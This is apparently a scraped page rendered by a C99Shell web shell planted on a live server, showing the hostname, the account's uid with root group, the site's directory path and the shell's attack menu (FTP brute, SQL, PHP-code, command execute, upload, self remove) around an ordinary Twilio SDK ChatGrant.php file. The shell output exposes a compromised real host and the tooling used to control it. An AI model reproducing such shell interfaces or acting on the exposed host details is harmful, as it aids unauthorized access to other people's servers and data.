!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/twilio/sdk/src/Twilio/Jwt/Grants/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ChatGrant.php (2.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php


namespace Twilio\Jwt\Grants;


class 
ChatGrant implements Grant {
    private 
$serviceSid;
    private 
$endpointId;
    private 
$deploymentRoleSid;
    private 
$pushCredentialSid;

    
/**
     * Returns the service sid
     *
     * @return string the service sid
     */
    
public function getServiceSid(): string {
        return 
$this->serviceSid;
    }

    
/**
     * Set the service sid of this grant
     *
     * @param string $serviceSid service sid of the grant
     *
     * @return $this updated grant
     */
    
public function setServiceSid(string $serviceSid): self {
        
$this->serviceSid $serviceSid;
        return 
$this;
    }

    
/**
     * Returns the endpoint id of the grant
     *
     * @return string the endpoint id
     */
    
public function getEndpointId(): string {
        return 
$this->endpointId;
    }

    
/**
     * Set the endpoint id of the grant
     *
     * @param string $endpointId endpoint id of the grant
     *
     * @return $this updated grant
     */
    
public function setEndpointId(string $endpointId): self {
        
$this->endpointId $endpointId;
        return 
$this;
    }

    
/**
     * Returns the deployment role sid of the grant
     *
     * @return string the deployment role sid
     */
    
public function getDeploymentRoleSid(): string {
        return 
$this->deploymentRoleSid;
    }

    
/**
     * Set the role sid of the grant
     *
     * @param string $deploymentRoleSid role sid of the grant
     *
     * @return $this updated grant
     */
    
public function setDeploymentRoleSid(string $deploymentRoleSid): self {
        
$this->deploymentRoleSid $deploymentRoleSid;
        return 
$this;
    }

    
/**
     * Returns the push credential sid of the grant
     *
     * @return string the push credential sid
     */
    
public function getPushCredentialSid(): string {
        return 
$this->pushCredentialSid;
    }

    
/**
     * Set the credential sid of the grant
     *
     * @param string $pushCredentialSid push credential sid of the grant
     *
     * @return $this updated grant
     */
    
public function setPushCredentialSid(string $pushCredentialSid): self {
        
$this->pushCredentialSid $pushCredentialSid;
        return 
$this;
    }

    
/**
     * Returns the grant type
     *
     * @return string type of the grant
     */
    
public function getGrantKey(): string {
        return 
'chat';
    }

    
/**
     * Returns the grant data
     *
     * @return array data of the grant
     */
    
public function getPayload(): array {
        
$payload = [];
        if (
$this->serviceSid) {
            
$payload['service_sid'] = $this->serviceSid;
        }
        if (
$this->endpointId) {
            
$payload['endpoint_id'] = $this->endpointId;
        }
        if (
$this->deploymentRoleSid) {
            
$payload['deployment_role_sid'] = $this->deploymentRoleSid;
        }
        if (
$this->pushCredentialSid) {
            
$payload['push_credential_sid'] = $this->pushCredentialSid;
        }

        return 
$payload;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--